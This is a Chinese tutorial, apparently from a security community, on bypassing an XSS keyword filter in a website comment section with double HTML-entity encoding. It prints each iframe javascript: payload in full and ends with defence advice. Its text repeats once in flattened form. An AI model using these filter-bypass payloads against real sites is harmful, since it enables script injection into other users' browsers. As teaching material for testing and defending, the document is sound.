有趣的xss漏洞挖掘
字数 1076 2025-08-25 22:59:03

XSS漏洞挖掘实战教学:基于HTML编码的绕过技术

背景介绍

本教学文档基于先知社区一篇关于XSS漏洞挖掘的实战案例,详细讲解如何通过HTML编码技术绕过网站的安全过滤机制。案例中,攻击者发现一个网站评论区存在潜在的XSS漏洞,并通过多次尝试最终成功利用。

漏洞发现过程

初始测试

  1. 发现目标网站的评论区可能存在XSS漏洞
  2. 尝试使用基本的XSS payload:<iframe src="javascript:'<script>alert(1)</script>'"></iframe>
  3. 发现iframe标签未被过滤,但javascriptscript关键字被过滤

第一次绕过尝试

  1. 使用URL编码和HTML编码组合的payload:
    <iframe src="javascript:'%3Cscript%3Ealert(1)%3C%2Fscript%3E'"></iframe>
    
    • 解码后等价于原始payload
    • 发现虽然iframe可用,但javascript和script仍被过滤

HTML编码尝试

  1. 利用JavaScript支持HTML编码的特性
  2. javascript:中的部分字符进行HTML16编码:
    • a编码为&#x61
    • r编码为&#x72
  3. 生成payload:
    <iframe src="j&#x61vasc&#x72ipt:'&#x25;&#x33;&#x43;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x25;&#x33;&#x45;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;&#x25;&#x33;&#x43;&#x25;&#x32;&#x46;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x25;&#x33;&#x45;'"></iframe>
    
  4. 发现提交前payload已被HTML解码一次,导致绕过失败

二次HTML编码突破

  1. 对src属性值进行二次HTML编码
  2. 最终payload:
    <iframe src="&#x6a;&#x26;&#x23;&#x78;&#x36;&#x31;&#x76;&#x61;&#x73;&#x63;&#x26;&#x23;&#x78;&#x37;&#x32;&#x69;&#x70;&#x74;&#x3a;&#x27;&#x26;&#x23;&#x78;&#x32;&#x35;&#x3b;&#x26;&#x23;&#x78;&#x33;&#x33;&#x3b;&#x26;&#x23;&#x78;&#x34;&#x33;&#x3b;&#x26;&#x23;&#x78;&#x37;&#x33;&#x3b;&#x26;&#x23;&#x78;&#x36;&#x33;&#x3b;&#x26;&#x23;&#x78;&#x37;&#x32;&#x3b;&#x26;&#x23;&#x78;&#x36;&#x39;&#x3b;&#x26;&#x23;&#x78;&#x37;&#x30;&#x3b;&#x26;&#x23;&#x78;&#x37;&#x34;&#x3b;&#x26;&#x23;&#x78;&#x32;&#x35;&#x3b;&#x26;&#x23;&#x78;&#x33;&#x33;&#x3b;&#x26;&#x23;&#x78;&#x34;&#x35;&#x3b;&#x26;&#x23;&#x78;&#x36;&#x31;&#x3b;&#x26;&#x23;&#x78;&#x36;&#x63;&#x3b;&#x26;&#x23;&#x78;&#x36;&#x35;&#x3b;&#x26;&#x23;&#x78;&#x37;&#x32;&#x3b;&#x26;&#x23;&#x78;&#x37;&#x34;&#x3b;&#x26;&#x23;&#x78;&#x32;&#x38;&#x3b;&#x26;&#x23;&#x78;&#x33;&#x31;&#x3b;&#x26;&#x23;&#x78;&#x32;&#x39;&#x3b;&#x26;&#x23;&#x78;&#x32;&#x35;&#x3b;&#x26;&#x23;&#x78;&#x33;&#x33;&#x3b;&#x26;&#x23;&#x78;&#x34;&#x43;&#x3b;&#x26;&#x23;&#x78;&#x32;&#x35;&#x3b;&#x26;&#x23;&#x78;&#x33;&#x32;&#x3b;&#x26;&#x23;&#x78;&#x34;&#x36;&#x3b;&#x26;&#x23;&#x78;&#x37;&#x33;&#x3b;&#x26;&#x23;&#x78;&#x36;&#x33;&#x3b;&#x26;&#x23;&#x78;&#x37;&#x32;&#x3b;&#x26;&#x23;&#x78;&#x36;&#x39;&#x3b;&#x26;&#x23;&#x78;&#x37;&#x30;&#x3b;&#x26;&#x23;&#x78;&#x37;&#x34;&#x3b;&#x26;&#x23;&#x78;&#x32;&#x35;&#x3b;&#x26;&#x23;&#x78;&#x33;&#x33;&#x3b;&#x26;&#x23;&#x78;&#x34;&#x35;&#x3b;&#x27;"></iframe>
    
  3. 成功绕过过滤机制,执行XSS攻击

关键技术点

HTML编码原理

  1. HTML实体编码格式:

    • 十进制:&#DDD;
    • 十六进制:&#xHH;
  2. 编码解码顺序:

    • 网站可能进行多次HTML解码
    • 二次编码可绕过单层过滤

JavaScript特性利用

  1. JavaScript引擎会自动解码HTML实体
  2. javascript:协议中HTML编码可不带分号(;)

绕过策略

  1. 识别过滤层级:通过观察payload在提交前后的变化
  2. 多层编码:当发现单层解码时,使用二次编码
  3. 选择性编码:只对关键字进行编码,减少payload长度

防御建议

  1. 对所有用户输入进行严格的输出编码
  2. 使用内容安全策略(CSP)限制脚本执行
  3. 避免在HTML属性中使用动态JavaScript代码
  4. 实施多层防御机制,包括输入验证和输出编码
  5. 使用专门的XSS防护库而非自定义过滤

总结

本案例展示了如何通过观察系统行为、利用HTML编码特性和多层编码技术绕过XSS过滤。关键学习点包括:

  1. 细心观察payload在提交前后的变化
  2. 理解HTML编码的解码顺序
  3. 利用JavaScript的编码解码特性
  4. 多层编码在绕过过滤中的有效性

这种技术虽然简单,但在实际渗透测试中往往能发现许多看似安全实则存在漏洞的系统。

XSS漏洞挖掘实战教学:基于HTML编码的绕过技术 背景介绍 本教学文档基于先知社区一篇关于XSS漏洞挖掘的实战案例,详细讲解如何通过HTML编码技术绕过网站的安全过滤机制。案例中,攻击者发现一个网站评论区存在潜在的XSS漏洞,并通过多次尝试最终成功利用。 漏洞发现过程 初始测试 发现目标网站的评论区可能存在XSS漏洞 尝试使用基本的XSS payload: <iframe src="javascript:'<script>alert(1)</script>'"></iframe> 发现iframe标签未被过滤,但 javascript 和 script 关键字被过滤 第一次绕过尝试 使用URL编码和HTML编码组合的payload: 解码后等价于原始payload 发现虽然iframe可用,但javascript和script仍被过滤 HTML编码尝试 利用JavaScript支持HTML编码的特性 对 javascript: 中的部分字符进行HTML16编码: 将 a 编码为 &#x61 将 r 编码为 &#x72 生成payload: 发现提交前payload已被HTML解码一次,导致绕过失败 二次HTML编码突破 对src属性值进行二次HTML编码 最终payload: 成功绕过过滤机制,执行XSS攻击 关键技术点 HTML编码原理 HTML实体编码格式: 十进制: &#DDD; 十六进制: &#xHH; 编码解码顺序: 网站可能进行多次HTML解码 二次编码可绕过单层过滤 JavaScript特性利用 JavaScript引擎会自动解码HTML实体 javascript: 协议中HTML编码可不带分号( ; ) 绕过策略 识别过滤层级:通过观察payload在提交前后的变化 多层编码:当发现单层解码时,使用二次编码 选择性编码:只对关键字进行编码,减少payload长度 防御建议 对所有用户输入进行严格的输出编码 使用内容安全策略(CSP)限制脚本执行 避免在HTML属性中使用动态JavaScript代码 实施多层防御机制,包括输入验证和输出编码 使用专门的XSS防护库而非自定义过滤 总结 本案例展示了如何通过观察系统行为、利用HTML编码特性和多层编码技术绕过XSS过滤。关键学习点包括: 细心观察payload在提交前后的变化 理解HTML编码的解码顺序 利用JavaScript的编码解码特性 多层编码在绕过过滤中的有效性 这种技术虽然简单,但在实际渗透测试中往往能发现许多看似安全实则存在漏洞的系统。